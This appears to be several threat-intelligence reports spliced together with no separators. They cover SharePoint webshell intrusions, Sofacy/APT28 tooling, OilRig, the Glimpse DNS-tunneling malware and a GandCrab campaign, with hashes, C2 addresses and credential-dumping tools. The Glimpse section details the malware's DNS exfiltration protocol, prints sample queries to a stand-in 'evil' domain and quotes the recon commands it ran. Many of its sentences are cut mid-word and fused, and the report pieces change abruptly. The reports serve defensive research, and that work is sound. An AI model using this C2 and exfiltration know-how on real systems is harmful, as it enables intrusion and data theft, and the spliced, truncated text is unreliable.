Trojan.Linux.SSHBRUTE.B : 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 .
Coinminer.Linux.MALXMR.SMDSL32 : fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a .
Coinminer.Linux.MALXMR.SMDSL64 : 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 .
Actors Still Exploiting SharePoint Vulnerability to Attack Middle East Government Organizations .
On September 10 , 2019 , we observed unknown threat actors exploiting a vulnerability in SharePoint described in CVE-2019-0604 to install several webshells on the website of a Middle East government organization .
One of these webshells is the open source AntSword webshell freely available on Github , which is remarkably similar to the infamous China Chopper webshell .
On January 10 , 2020 , we used Shodan to search for Internet accessible servers running versions of SharePoint vulnerable to CVE-2019-0604 .
While admittedly the version numbers provided by SharePoint within HTTP responses do not always provide the precise SharePoint version number , we decided to use it to check if it was less than the version numbers of the patched SharePoint versions from the Microsoft advisory .
We performed this comparison and found 28,881 servers that advertised a vulnerable version of SharePoint .
We did not actively check each server to verify if they were indeed vulnerable , so it is possible that many of these public-facing SharePoint servers were not vulnerable or since patched .
Regardless , the sheer number of servers and publicly available exploit code suggests that CVE-2019-0604 is still a major attack vector .
Using this collection of webshells , the actors moved laterally to other systems on the network by dumping credentials with a variant of the notorious Mimikatz tool and using Impacket ’s atexec tool to use dumped credentials to run commands on other systems .
On September 19 , 2019 , we observed the same exact Mimikatz variant uploaded to a webshell hosted at another government organization in a second country in the Middle East .
The Mimikatz variant uploaded to these two organizations is unique , as it involves a seemingly custom loader application written in .NET .
Therefore , we believe that the same threat group is behind both intrusions .
Back in April 2019 , we first observed the Emissary Panda threat group exploiting CVE-2019-0604 to install webshells on SharePoint servers at government organizations in two Middle Eastern countries .
Fast forward five months to the current attacks and we see exploitation of the same vulnerability at government organizations in two different countries compared to the April attacks .
We do not have any strong ties to connect the current attacks exploiting this vulnerability in SharePoint with the Emissary Panda attacks carried out in April .
The overlaps between these two sets of attacks include exploitation of a common vulnerability , similar toolset and a shared government victimology , but no strong pivot points to connect these attack campaigns together .
The exploitation of this vulnerability is not unique to Emissary Panda , as multiple threat groups are using this vulnerability to exploit SharePoint servers to gain initial access to targeted networks .
We would like to acknowledge the possibility of an overlap in the AntSword webshell , as we stated that Emissary Panda used China Chopper in the April attacks and AntSword and China Chopper webshells are incredibly similar .
However , at this time we do not believe the April attacks used AntSword based on artifacts analyzed on the SharePoint server , specifically none of the IIS logs in the April attacks used the AntSword User-Agent in requests to the webshell that were observed in the current attacks .
Palo Alto Networks customers are protected from the threat described in this blog through Threat Prevention signatures for the exploits and C2 traffic as well as through WildFire .
More details on this protection is available in the conclusion of the report .
On September 10 , 2019 , we observed an HTTP POST request to the following URL that we believe was the exploitation of CVE-2019-0604 in a publicly facing SharePoint server ( T1190 ) : /_layouts/15/picker.aspx .
The command uses the echo command to write a large chunk of base64 encoded data to a text file named cmd.txt .
The command then uses the certutil application to convert the base64 encoded data ( T1132 ) in the cmd.txt file to c.aspx in three different SharePoint related folders .
The result of this entire command saves a variant of the Awen asp.net webshell ( T1100 ) to the SharePoint server to further interact with the compromise server .
The Awen webshell deployed in the exploitation of this SharePoint vulnerability had a SHA256 hash of 5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21 .
Just 40 seconds after the suspected exploitation of CVE-2019-0604 , we observed the first HTTP GET request to a webshell at c.aspx , which is a modified version of the freely available awen asp.net webshell .
We believe this HTTP GET request was the actor visiting the webshell after exploitation and prior to executing commands .
The actor uses the Awen webshell to run various commands to do an initial discovery on the system and network , including user accounts ( T1033 and T1087 ) , files and folders ( T1083 ) , privileged groups ( T1069 ) , remote systems ( T1018 ) and network configuration ( T1016 ) .
Table 1 not only shows the commands used for discovery , but also the commands used to deploy another webshell to the server using the echo command to write base64 encoded data to a.txt and using the certutil application to decode and save to bitreeview.aspx .
The webshell named bitreeview.aspx was saved to a folder within the SharePoint server ’s install path .
The bitreeview.aspx file is a variant of the AntSword webshell that has undeniably similar traits as the infamous China Chopper webshell .
After installing this AntSword webshell , the actor no longer uses the Awen webshell and issues the first command to AntSword 35 seconds after the last command issued to the Awen webshell .
AntSword is a modular webshell that involves a very simple webshell that the actor would deploy to the compromised server and a client application referred to as the AntSword Shell Manager .
The use of the client application differs from many other webshells that the actor would interact with in a browser window .
The actor would use the AntSword Shell Manager to interact with the AntSword webshell on the compromised server , as the Shell Manager sends the appropriate script to the webshell that will execute to carry out the desired action .
To provide a sense of the limited functionality within the webshell itself , the bitreeview.aspx AntSword webshell deployed in this attack ( SHA256: 15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e ) was only 162 bytes .
AntSword webshell has no functionality other than running a script provided by the AntSword Shell Manager , specifically within a field named Darr1R1ng of an HTTP POST request .
The code above also tells us the actors had created their own custom “ encoder ” within the AntSword Shell Manager to be able to interact with the code above , which we will discuss in detail in the next section .
In addition to the Mimikatz tool , the actor uploaded other tools to the webshell hosted at this second organization .
 es.exe : Mimikatz with custom loader , da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304 .
Rar.exe : Legitimate WinRAR , 26d9212ec8dbca45383eb95ec53c05357851bd7529fa0761d649f62e90c4e9fd .
 atec.exe : Compiled Impacket atexec tool , a4aca75bcc8f18b8a2316fd67a7e545c59b871d32de0b325f56d22584038fa10 .
 dmp.exe : Dumpert tool , e4e05c9a216c2f2b3925293503b5d5a892c33db2f6ea58753f032b80608c3f2e .
One of the tools seen above that caught our interest was the Dumpert tool , which is freely available on Outflanknl ’s GitHub repository .
The author of Dumpert describes the tool as an LSASS dumping tool that uses direct system calls and API unhooking to evade antivirus and EDR solutions .
Dumpert is a relatively new tool with its initial commit to GitHub occurring on June 17 , 2019 .
While the Dumpert tool is meant to help red teams emulate an adversary , we had not seen this tool used by threat actors until it was uploaded to this related webshell on September 23 , 2019 .
Threat actors continue to exploit the CVE-2019-0604 vulnerability to compromise SharePoint servers , which is a vulnerability that Microsoft released a patch for in March 2019 .
We observed actors installing webshells to the SharePoint server that they use to run commands and upload additional tools to in order to dump credentials and move laterally to other systems on the network .
We were also able to find a related webshell based on the threat group ’s tool reuse , specifically a custom Mimikatz sample .
Thanks to this tool reuse , we found the threat group uploading a credential dumping tool called Dumpert that we had not seen used in prior incidents involving the exploitation of CVE-2019-0604 .
Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag .
Two suspicious artifacts have been retrieved from two separate servers within the Die Linke infrastructure .
One is an open source utility used to remotely issue commands on a Windows host from a Linux host .
The other is a custom utility which , despite its large size , has limited functionality and acts as a tunnel , possibly used by the attackers to maintain persistence within the compromised network .
Attributes of one of the artifacts and intelligence gathered on the infrastructure operated by the attackers suggest that the attack was perpetrated by a state-sponsored group known as Sofacy ( or APT28 ) .
Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .
The first artifact – identified across this report as Artifact #1 – has the following attributes :Name winexesvc.exe Size 23552 MD5 77e7fb6b56c3ece4ef4e93b6dc608be0 SHA1 f46f84e53263a33e266aae520cb2c1bd0a73354e SHA256 5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d .
The second artifact – identified across this report as Artifact #2 – -has the following attributes :Name svchost.exe Size 1062912 MD5 5e70a5c47c6b59dae7faf0f2d62b28b3 SHA1 cdeea936331fcdd8158c876e9d23539f8976c305 SHA256 730a0e3daf0b54f065bdd2ca427fbe10e8d4e28646a5dc40cbcfb15e1702ed9a Compile Time 2015-04-22 10:49:54 .
Artifact #1 was retrieved from a File Server operated by Die Linke .
The file is a 64bit-compatible compiled binary of the open source utility Winexe .
Winexe is software similar to the more popular PSExec and is designed to allow system administrators to execute commands on remote servers .
While commercial solutions like Symantec pcAnywhere provide a larger feature-set , Winexe is lightweight , and doesn’t require any installation or configuration .
One of the reasons Winexe is preferred over PSExec , is that it provides a Linux client , while PSExec doesn’t .
Attackers are making growing use of utilities like Winexe and PSExec to perform lateral movement across compromised networks .
Besides providing the ability to execute arbitrary commands on the target system , these utilities normally don’t raise suspicion as they are commonly whitelisted by Antivirus and other commercial security software .
Winexe acts as a Windows service that can be configured to automatically start at boot and silently wait for incoming commands over a named pipe .
Named pipes are a Windows inter-process communication method .
Through named pipes , processes are able to communicate and exchange data even over a network .
In the case of Artifact #1 , the name of the pipe is ahexec , computers over the network could access the pipe server by simply opening a file handle on \ServerNamepipeahexec .
Once connected to the pipe , a user or a program can easily provide information required to execute command ( just as they would normally through a command-line ) .
The provided information is then passed to a CreateProcessAsUserA call and the specified command is executed .
Once inside the network , Artifact #1 can be enough for the attacker to download or create additional scripts , execute commands and exfiltrate data ( for example , simply through ftp ) .
It is plausible that Artifact #1 could be present on other servers under different names , although it is also likely that the attacker only left it on servers to which they required maintainenance of persistent access .
Artifact #2 was recovered from the Admin Controller operated by Die Linke .
This is custom malware , which despite large file size ( 1,1 MB ) , provides limited functionality .
Artifact #2 operates as a backchannel for the attacker to maintain a foothold inside the compromised network .
The properties of the artifact show that the same authors of the malware seem to have called it Xtunnel .
As the same name suggests , the artifact appears in fact to act as a tunnel for the attacker to remotely access the internal network and maintain persistence .
After initialization , the artifact will attempt to establish a connection by creating a socket .
In case of failure , it will sleep for three seconds and try again .
The authors of the malware didn’t appear to have spent any effort in concealing indicators or obfuscating code – the IP address with which it tries to communicate is hardcoded in clear-text inside the binary .
We can observe below , the procedure through which the artifact attempts to establish a connection with the IP address 176.31.112.10 .
This specific IP address is a critical piece of information that enables us to connect this attack to a spree of previous targeted campaigns .
The details of this attribution is explained in a dedicated section below .
We will refer to this IP address as Command & Control ( or C&C ) .
If the argument -SSL is given through command-line to the artifact , these beacons will be encapsulated in an SSL connection and a proper TLS handshake will be initiated with the C&C .
Interestingly , the artifact bundles a copy of OpenSSL 1.0.1e , from February 2013 , which causes the unusually large size of the binary .
More importantly , the Command & Control server ( 176.31.112.10 ) also appears to be using an outdated version of OpenSSL and be vulnerable to Heartbleed attacks .
While unlikely , it is worth considering that the same C&C server might have been the subject of 3rd-party attacks due to this vulnerability .
If connections to the C&C are blocked or terminated through a firewall , the artifact will be inhibited , as it doesn’t seem to have any fallback protocol .
Additionally , since it does not execute any other functionality autonomously , it would no longer be a direct threat .
While attribution of malware attacks is rarely simple or conclusive , during the course of this investigation I uncovered evidence that suggests the attacker might be affiliated with the state-sponsored group known as Sofacy Group ( also known as APT28 or Operation Pawn Storm ) .
Although we are unable to provide details in support of such attribution , previous work by security vendor FireEye suggests the group might be of Russian origin , however no evidence allows to tie the attacks to governments of any particular country .
Sofacy is a group dedicated to the compromise of high-profile targets and the theft of confidential information .
They appear to have been active since 2006 .
They are believed to have successfully attacked the Ministries of Internal and Foreign Affairs of several ex-Soviet countries , as well as Eastern European governments and military institutions , and NATO and the White House .
Sofacy is known for making extensive use of phishing attacks to lure targets into revealing their credentials via realistic reconstruction of internal systems , such as webmails , as employed against the Georgian Ministry of Internal Affairs in the infamous attacks that preceded the Georgian invasion of 2008 .
While Sofacy is also known to use of custom exploit frameworks and spear-phishing attacks , it is possible in this case that they managed to obtain privileged credentials of network administrators within the Bundestag through the use of a phishing attack , which then allowed them to navigate through the network and gain access to more data .
It is worth noting that shortly before the attack , security vendors reported the use of 0-day exploits in Flash Player and Microsoft Windows by the same threat actor .
During investigation of the Command & Control server ( with IP 176.31.112.10 hardcoded in Artifact #2 ) , we managed to identify some operational mistakes made by the attackers , allowing us to connect the incident with attacks previously associated with the Sofacy Group .
The address , 176.31.112.10 , is a dedicated server provided by the French OVH hosting company , but is apparently operated by an offshore secure hosting company called CrookServers.com .
By researching historical data relevant to C&C 176.31.112.10 , we discovered that on February 16th 2015 , the server was sharing an SSL certificate with another IP address allocated to CrookServers and also hosted at OVH : 213.251.187.145 .
The recovered shared SSL certificate , obtained by a public internet-wide scanning initiative , at the time had the following attributes :MD5 b84b66bcdecd4b4529014619ed649d76 SHA1 fef1725ad72e4ef0432f8cb0cb73bf7ead339a7c Algorithm sha1 With RSA Encryption .
As shown , the certificate uses mail.mfa.gov.ua as a Common Name .
This suggests that this certificate might have been previously used for a similar attack against the Ukrainian Ministry of Foreign Affairs , or associated targets , although there is no documentation of such attack available to the public .
More importantly , the IP address this certificate was shared with 213.251.187.145 was previously identified as used by Sofacy Group for phishing attacks against Albanian government institutions by registering the domain qov.al and creating realistic subdomains to lure victims into visiting .
The domain was active on the IP 213.251.187.145 from July 2014 up until March 2015 .
These attacks against Albanian government institutions by the Sofacy Group were documented and reported by consultancy corporate PwC in December 2014 .
It is worth noting that this server also seems to be operated by CrookServers , since among other domains , 454-reverse.crookservers.net resolved to the same IP address .
While the evidence presented strongly suggests a connection with the Sofacy Group , the artifacts ( in particular Artifact #2 ) are not publicly recognized to be part of the more traditional arsenal of these attackers .
Nevertheless , on May 12th 2015 ( a few weeks after the attack against Bundestag appears to have started ) the American security firm root9B released a report containing details on malware samples very similar to Artifact #2 .
The report also includes a mention of the same IP address used as Command & Control server in the attack against Bundestag ( 176.31.112.10 ) .
While the report appears to contain numerous inaccuracies , some of the indicators of compromises are legitimate and appear to be correctly attributed to Sofacy .
A Slice of 2017 Sofacy Activity .
Sofacy , also known as APT28 , Fancy Bear , and Tsar Team , is a highly active and prolific APT .
From their high volume 0day deployment to their innovative and broad malware set , Sofacy is one of the top groups that we monitor , report , and protect against .
 2017 was not any different in this regard .
Our private reports subscription customers receive a steady stream of YARA , IOC , and reports on Sofacy , our most reported APT for the year .
This high level of cyber-espionage activity goes back years .
In 2011-2012 , the group used a relatively tiny implant ( known as “ Sofacy ” or SOURFACE ) as their first stage malware , which at the time had similarities with the old Miniduke implants .
This made us believe the two groups were connected , although it looks they split ways at a certain point , with the original Miniduke group switching to the CosmicDuke implant in 2014 .
The division in malware was consistent and definitive at that point .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .
We ’ve seen quite a few versions of these implants , which were relatively widespread at some point or still are .
In 2015 we noticed another wave of attacks which took advantage of a new release of the AZZY implant , largely undetected by antivirus products .
The new wave of attacks included a new generation of USB stealers deployed by Sofacy , with initial versions dating to February 2015 .
It appeared to be geared exclusively towards high profile targets .
Sofacy ’s reported presence in the DNC network alongside APT29 brought possibly the highest level of public attention to the group ’s activities in 2016 , especially when data from the compromise was leaked and “ weaponized ” .
And later 2016 , their focus turned towards the Olympics ’ and the World Anti-Doping Agency ( WADA ) and Court of Arbitration for Sports ( CAS ) , when individuals and servers in these organizations were phished and compromised .
In a similar vein with past CyberBerkut activity , attackers hid behind anonymous activist groups like “ anonpoland ” , and data from victimized organizations were similarly leaked and “ weaponized ” .
This write-up will survey notables in the past year of 2017 Sofacy activity , including their targeting , technology , and notes on their infrastructure .
No one research group has 100% global visibility , and our collected data is presented accordingly .
Here , external APT28 reports on 2017 Darkhotel-style activity in Europe and Dealer ’s Choice spearphishing are of interest .
From where we sit , 2017 Sofacy activity starts with a heavy focus on NATO and Ukrainian partners , coinciding with lighter interest in Central Asian targets , and finishing the second half of the year with a heavy focus on Central Asian targets and some shift further East .
Sofacy kicked off the year deploying two 0day in a spearphish document , both a Microsoft Office encapsulated postscript type confusion exploit ( abusing CVE-2017-0262 ) and an escalation of privilege use-after-free exploit ( abusing CVE-2017-0263 ) .
The group attempted to deploy this spearphish attachment to push a small 30kb backdoor known as GAMEFISH to targets in Europe at the beginning of 2017 .
They took advantage of the Syrian military conflict for thematic content and file naming “ Trump ’s_Attack_on_Syria_English.docx ” .
Again , this deployment was likely a part of their focus on NATO targets .
Meanwhile in early-to-mid 2017 , SPLM / CHOPSTICK / XAgent detections in Central Asia provided a glimpse into ongoing focus on ex-Soviet republics in Central Asia .
These particular detections are interesting because they indicate an attempted selective 2nd stage deployment of a backdoor maintaining filestealer , keylogger , and remoteshell functionality to a system of interest .
As the latest revision of the backdoor , portions of SPLM didn’t match previous reports on SPLM / XAgent while other similarities were maintained .
SPLM 64-bit modules already appeared to be at version 4 of the software by May of the year .
Targeting profiles included defense related commercial and military organizations , and telecommunications .
Since mid-November 2015 , the threat actor referred to as “ Sofacy ” or “ APT28 ” has been utilizing a unique payload and delivery mechanism written in Delphi and AutoIT .
We collectively refer to this package and related activity as “ Zebrocy ” and had written a few reports on its usage and development by June 2017 – Sofacy developers modified and redeployed incremented versions of the malware .
The Zebrocy chain follows a pattern : spearphish attachment -> compiled Autoit script ( downloader ) -> Zebrocy payload .
In some deployments , we observed Sofacy actively developing and deploying a new package to a much smaller , specific subset of targets within the broader set .
Targeting profiles , spearphish filenames , and lures carry thematic content related to visa applications and scanned images , border control administration , and various administrative notes .
Targeting appears to be widely spread across the Middle East , Europe , and Asia .
We identified new MSIL components deployed by Zebrocy .
While recent Zebrocy versioning was 7.1 , some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0 .
The components were an unexpected inclusion in this particular toolset .
For example , one sent out to a handful of countries identifies network drives when they are added to target systems , and then RC4 like-encrypts and writes certain file metadata and contents to a local path for later Exfiltration .
The stealer searches for files 60mb and less with these extensions : .doc , .docx , .xls , .xlsx , .ppt , .pptx , .exe , .zip , .rar .
At execution , it installs an application-defined Windows hook .
The hook gets windows messages indicating when a network drive has been attached .
Upon adding a network drive , the hook calls its “ RecordToFile ” file stealer method .
SPLM / CHOPSTICK components deployed throughout 2017 were native 64-bit modular C++ Windows COM backdoors supporting http over fully encrypted TLSv1 and TLSv1.2 communications , mostly deployed in the second half of 2017 by Sofacy .
Earlier SPLM activity deployed 32-bit modules over unencrypted http ( and sometimes smtp ) sessions .
In 2016 we saw fully functional , very large SPLM / X-Agent modules supporting OS X .
The executable module continues to be part of a framework supporting various internal and external components communicating over internal and external channels , maintaining slightly morphed encryption and functionality per deployment .
Sofacy selectively used SPLM / CHOPSTICK modules as second stage implants to high interest targets for years now .
The newer SPLM modules are deployed mostly to Central Asian based targets that may have a tie to NATO in some form .
These targets include foreign affairs government organizations both localized and abroad , and defense organizations ’ presence localized , located in Europe and also located in Afghanistan .
One outlier SPLM target profile within our visibility includes an audit and consulting firm in Bosnia and Herzegovina .
Minor changes and updates to the code were released with these deployments , including a new mutex format and the exclusive use of encrypted HTTP communications over TLS .
The compiled code itself already is altered per deployment in multiple subtle ways , in order to stymie identification and automated analysis and accommodate targeted environments .
Strings ( c2 domains and functionality , error messages , etc ) are custom encrypted per deployment .
This subset of SPLM / CHOPSTICK activity leads into several small surprises that take us into 2018 , to be discussed in further detail at SAS 2018 .
The group demonstrates malleability and innovation in maintaining and producing familiar SPLM functionality , but the pragmatic and systematic approach towards producing undetected or difficult-to-detect malware continues .
Changes in the second stage SPLM backdoor are refined , making the code reliably modular .
It ’s interesting to note that this version of SPLM implements communications that are fully encrypted over HTTPS .
As an example , we might see extraneous data in their SSL / TLS certificates that give away information about their provider or resources .
Leading up to summer 2017 , infrastructure mostly was created with PDR and Internet Domain Service BS Corp , and their resellers .
Hosting mostly was provided at Fast Serv Inc and resellers , in all likelihood related to bitcoin payment processing .
From April 19-24 , 2017 , a politically-motivated , targeted campaign was carried out against numerous Israeli organizations .
Morphisec researchers began investigating the attacks on April 24 and continue to uncover more details .
Initial reports of the attacks , published April 26 ( in Hebrew ) by the Israel National Cyber Event Readiness Team ( CERT-IL ) and The Marker , confirm that the attack was delivered through compromised email accounts at Ben-Gurion University and sent to multiple targets across Israel .
Ironically , Ben-Gurion University is home to Israel ’s Cyber Security Research Center .
Investigators put the origin of the attack as Iranian ; Morphisec ’s research supports this conclusion and attributes the attacks to the same infamous hacker group responsible for the OilRig malware campaigns .
The fileless attack was delivered via Microsoft Word documents that exploited a former zero-day vulnerability in Word , CVE-2017-0199 , to install a fileless attack variant of the Helminth Trojan agent .
Microsoft released the patch for the vulnerability on April 11 , but many organizations have not yet deployed the update .
The attackers actually based their attack on an existing Proof-of-Concept method that was published by researchers after the patch release .
By hunting through known malware repositories , Morphisec identified matching samples uploaded by Israeli high-tech development companies , medical organizations and education organizations , indicating that they were victims of the attack .
For security purposes , Morphisec is not revealing these names .
Upon deeper investigation into the installed Helminth fileless agent , we identified a near perfect match to the OilRig campaign executed by an Iranian hacker group against 140 financial institutions in the Middle East last year , as analyzed by FireEye , Palo Alto Networks and Logrhythm .
This group has become one of the most active threat actors , with noteworthy abilities , resources and infrastructure ; speculations indicate the hacking organization to be sponsored by the Iranian government .
In other recent attacks ( January 2017 ) , the group used a fake Juniper Networks VPN portal and fake University of Oxford websites to deliver malware as described by ClearSky .
Name SHA256 .
13.doc : a9bbbf5e4797d90d579b2cf6f9d61443dff82ead9d9ffd10f3c31b686ccf81ab .
558.doc , 2.doc: 2869664d456034a611b90500f0503d7d6a64abf62d9f9dd432a8659fa6659a84 .
1.doc : 832cc791aad6462687e42e40fd9b261f3d2fbe91c5256241264309a5d437e4d8 .
3.doc : d4eb4035e11da04841087a181c48cd85f75c620a84832375925e6b03973d8e48 .
The most notable difference from last year ’s OilRig campaign is the way the attack was delivered .
In the previous campaign , the Iranian group sent specially crafted Excel and Word files , which contained macros that targeted individuals were convinced to enable .
Name Delivery Server .
test4.hta http://comonscar.in ( 82.145.40.46 ) .
test5.hta 80.82.67.42 .
test1.hta reserved .
SHA256: 5ac61ea5142d53412a251eb77f2961e3334a00c83da9087d355a49618220ac43 .
Name SHA256 .
0011.ps1 042F60714E9347DB422E1A3A471DC0301D205FFBD053A4015D2B509DB92029D1 .
1.vbs BE7F1D411CC4160BB221C7181DA4370972B6C867AF110C12850CAD77981976ED .
A Glimpse into Glimpse For the second blog post in our series, the IronNet Threat Research Team examines the Glimpse malware that is written in PowerShell and has been associated withOur first post about analyzing malware with DNS tunneling capabilities focuses on how the PoisonFrog malware uses DNS tunneling to send and receive victim information and commands .
Glimpse : 6e86c57385d26a59c0df1580454b9967 .
Glimpse is a PowerShell script that is executed silently by Visual BasicBased on the code, it is unclear what initiates the Visual Basic scriptHowever, a variety of typical persistence mechanisms, such as a scheduled task, could serve thatAfter Glimpse starts, it checks for the existence of a directory and lockIf no directory or lock file is found, Glimpse createsAlternatively, if these do exist and the lock file is older than 10 minutes, the lock file is deleted and the previously running Glimpse script isAfter the initial checks described above, Glimpse creates a hidden file that contains an agent ID, which is a simple concatenation of a random number 10-99 and the first 8 characters of a GUID withoutThe methods employed by Glimpse to perform DNS communications are determined by the mode in which it is operating (i.e., text mode or pingIn text mode, Glimpse manually builds a DNS query to be transmitted over a UDP socket .
In ping mode, Glimpse uses a .NETThe table below describes the operational mode, record types used, and the method used to send theThe first DNS query by Glimpse requests the mode to be used in future communications with the controller (i.e., ping mode or textPrior to making any query, a function called AdrGen is used to build a queryThis function takes several parameters, most of which are represented in the subdomain label(s) of the queryBelow is a list of AdrGenAs mentioned above, one of the parameters passed to the AdrGen function is the actionTable 5: Glimpse action parameters values for the AdrGen function below contains the possible parameters, a brief description, and return values applicable to the actionThe query to set the receive mode expects an A resource record response from theThe controller will respond with one of two responses: 99.250.250.199 will set the receive mode toAny other IP address will set the receive mode to ping, although the server-side software suggests 199.250.250.99 will beWhen set in text receive mode, the malware uses the AdrGen function to create another query string with the r (receiver) flag and a W (wait) actionThe expected TXT record response has the following structure:In our sample traffic, the TXT resource record returned contained:This response tells the malware to set a variable for the file name to receivebox\rcvd10100 and set the next query action to D in order to request the next chunk ofThe malware sends another TXT query with the receiverThis query is depicted below: 39e9D60005eca60000BCC64T.sample-domain.evil In the case of our sample traffic, the server responded with the following TXT resource record data:The controller provided the malware with base64-encoded data to beThe data will eventually be written to disk and the malware sets the next query action to D in order to request the next chunk ofThe decoded data shows a command to be executed whoami&ipconfig /all on the victimThe malware sends another TXT query with the receiver structure, as depictedNote the request number parameter is now 0001: 39e965e000caD60001679C79T.sample-domain.evil .
The TXT record returned contained data: E0000>0 .
The controller issued the command to write the base64-decoded and modified data to the file name set earlier in the exchange .
After the file is written, the malware moves on to process operations .
Glimpse can be set to use ping mode in several ways while performing receive operations .
If a query with the M action returns an IP address that is not 99.250.250.199 , the malware will use ping mode .
It is worth noting that the IP response observed to set ping mode was the reverse of the IP used to set text mode (i.e., 199.250.250.99 ) .
Ping mode will also be set if exceptions occur more than three times during textIn the latter case, the P action is passed as one of the parameters to AdrGen and the query is made for an A resource record using the [System.Net.Dns]::GetHostAddressesIf performing receive operations in ping mode, Glimpse makes a query with the 0 action to contact the controller forThis query uses a receive structure similar to an M action; it is worth noting all of the receiver operation queries made in ping mode use the [System.Net.Dns]::GetHostAddressesIn our sample, after the malware sent the 0 action, the controller responded with an A record containing 24.125.10.140 .
This response tells the malware to: Set the file name for the data that will follow to 10140, Set the part number to 0, Parse response data, Set a 1 action for the nextQuery: 00039e9650eca66C06T.sample-domain.evil , Response: 24.125.10.140 , File name: 10140, Query: 139e965e000ca6D2C80T.sample-domain.evil , Response: 110.101.116.0 , Query: 00339e965e1ca6EF4C07T.sample-domain.evil , Response: 32.117.115.3 , Query: 30069e 1965eca6FE8C13T.sample-domain.evil, Response: 101.114.32.6 , Query: 391 e960095eca63570BC62T.sample-domain.evil , Response: 1.2.3.0 .
In this case, the content net user is written toAfter writing the data to disk, receiver operations are complete and processor operationsAfter writing the data received from the controller, a function is called to process the receivedThe processor function builds a list of files from the files with content that match rcvd* in the receiveboxSimilar to PoisonFrog , the last digit of the received file name determines how the content of the file isIn our sample traffic, after executing the commands sent via cmd.exe , Glimpse writes the output of the commands in the sendbox directory to the appropriate file names (e.g., 10100 or 10140) prepended with proc (e.g.,Once written, the send operationsSimilar to text mode receiver, after AdrGen builds the string, a function to manually build and send the DNS query packet isThe text mode sender uses the same hardcoded transaction ID 0xa4a3; however, instead of sending queries for TXT resource records, the malware uses A resourceAs with the text mode receiver, the query is made with a direct connection to the controller IP address as opposed to allowing the query to propagate the native DNSIf the send function is being invoked in ping mode, the process described above is followed; however, instead of manually building and transmitting the DNS query, the [System.Net.Dns]::GetHostAddresses method isWith that method, the malware’s query will traverse the native DNS architecture as opposed to the victim making a direct connection to theThe send function uses several counters to maintain various pieces of information used to control the flow ofAn exception counter is used to track the number of exceptions and will exit the send loop if a threshold isThe send counter is used to track the number of chunks sent to theAn additional counter exists to handle cases where the file being sent is larger than 250The send counter is initialized to 0 and read from the fourth octet of the A record returned by theThe send counter is also passed to the AdrGen function as the part number parameter and is visible in the query string as depicted below: Query: 239e965ec000a60000B6C90T.COCTab33333233332222222222222222210100A3280AAAAAAAAAAAAAAAAA.33333210100A.sample-domain.evil , Response: 39.2.3.1 , Query: 230019e965eca60000A16DC20T.EBB466767667256666772556776662FBFD932F3F64079E4F730B65239FE0.33333210100A.sample-domain.evil , Response: 39.2.3.2 , Query: 392e002965eca60000C6D18C42T.33232333332333500262233332466710E0E18362E239DDA839020190D932.33333210100A.sample-domain.evil .
When the send loop has fewer than 60 bytes to send (e.g., a small file or the last part of a file), the send function transmits the remaining bytes with a shorter dataWhen there are no more bytes to send, a hardcoded file end marker COCTabCOCT is sent in the data section and the send loop will beThe controller responds with the 253.25.42.87 A recordQuery: 239055e965eca60000CC30T.66654667676673003300C93CC92212953EDACEDA.33333210100A.sample-domain.evil , Response: 39.2.3.56 , Query: 05639e9652eca6000057C06T.COCTabCOCT33333210100A.sample-domain.evil , Response: 253.25.42.87 .
Once an A record response is received by the malware containing 253.25.42.87 , several variables are set in preparation to exit the sendAfter the send operation is complete, the lock file for the current run is deleted and the scriptMany of the capabilities discovered in Glimpse were also present in the malware analyzed in part one of thisGlimpse added the ability to use an alternate DNS resource record type (TXT) as opposed to solely relying on A resource records for DNSUsing TXT resource records enabled the actors to provide tasking in fewer transactions due to the amount of data that can be transmitted in a TXTTo support this capability, the adversaries chose to manually craft the DNS queries and communicate directly with the controller as opposed to using existing .NET DNSThe differences between PoisonFrog and Glimpse highlight the ease at which adversaries can modify their tools to meet their endWith regard to detection, several methods can be used to identify this type of C2Performing entropy calculations on subdomain labels can help highlight the amount of randomness in a label, but this is just one of many possible data analysis points, since a standalone feature may not be enough to determine whether traffic isThe IronDefense Network Traffic Analysis platform combines several behavioral detection methods alongside historical network information to detect the C2 techniques used by Glimpse and otherCarbon Black TAU ThreatSight Analysis GandCrab and UrsnifThe Carbon Black ThreatSight team observed an interesting campaign over the last month .
ThreatSight worked with the Threat Analysis Unit ( TAU ) to research the campaign .
This report is being released to help researchers and security practitioners combat this campaign as new samples are being discovered in the wild daily .
This attack , if successful , can infect a compromised system with both Ursnif malware and GandCrab ransomware .
The overall attack leverages several different approaches , which are popular techniques amongst red teamers , espionage focused adversaries , and large scale criminal campaigns .
This campaign originally came in via phishing emails that contained an attached Word document with embedded macros , Carbon Black located roughly 180 variants in the wild .
The macro would call an encoded PowerShell script and then use a series of techniques to download and execute both a Ursnif and GandCrab variant .
This campaign has been discussed at a high level by other researchers publicly .
Carbon Black product specific content can be located in the User Exchange .
In this campaign the attackers used a MS Word document ( .doc format ) to deliver the initial stages .
It should be noted that out of the roughly 180 Word variants that were located by Carbon Black , the biggest difference in the documents was the metadata and junk data located in the malicious macros .
However the metadata clearly showed that the documents prepared for this campaign were initially saved on December 17 , 2018 and have continued to be updated through January 21 , 2019 .
Several metadata fields ( specifically title , subject , author , comments , manager , and company ) appear to have been populated with different data sets .
For example the subject in all the samples was a combination of a US state and a common first name ( like Utah Erick or Tennessee Dayna ) .
For this post the following sample was analyzed .
Richard_Johnson.doc : 878e4e8677e68aba918d930f2cc67fbe 0a3f915dd071e862046949885043b3ba61100b946cbc0d84ef7c44d77a50f080 .
The document contained a VBS macro that once decompressed was approximately 650 lines of code .
